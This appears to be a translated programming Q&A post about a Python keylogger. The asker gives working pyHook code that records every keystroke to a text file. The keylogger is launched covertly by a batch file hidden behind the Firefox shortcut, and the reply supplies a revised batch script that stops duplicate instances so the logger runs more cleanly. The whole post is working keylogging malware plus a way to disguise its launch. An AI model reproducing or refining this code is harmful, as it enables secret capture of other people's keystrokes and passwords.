如果python脚本已经运行,请不要运行它

时间:2014-05-12 18:38:06

标签: python python-2.7 batch-file keylogger

我在this guy的教程之后制作了一个简单的Python键盘记录程序。 .pyw文件位于以下位置:

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Python27\\logger.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

当我使用firefox时它巧妙地运行,因为firefox快捷方式调用包含以下内容的批处理文件:

@echo off
tasklist /FI "IMAGENAME eq c:\Python27\keylogger.pyw" 2>NUL | find /I /N "c:\Python27\keylogger.pyw">NUL
if not "%ERRORLEVEL%"=="0" start "" "c:\Python27\keylogger.pyw" #doesn't work

start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe"

我的问题是,如果我多次运行firefox(经常发生),这个脚本会再次运行并重复自身,所以我在日志文本文件中得到了这些结果。

g
g
o
o
o
o
g
g
l
l
e
e

我需要一些if条件,如果它已经在运行,则不允许此脚本运行。

1 个答案:

答案 0 :(得分:0)

试试这个:

@echo off
for /f "tokens=1 delims= " %%a in ('tasklist /v ^| findstr "keylogger"') do set running_check=%%a
if not defined running_check start "" "c:\Python27\keylogger.pyw"
start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe"

编辑:修复for循环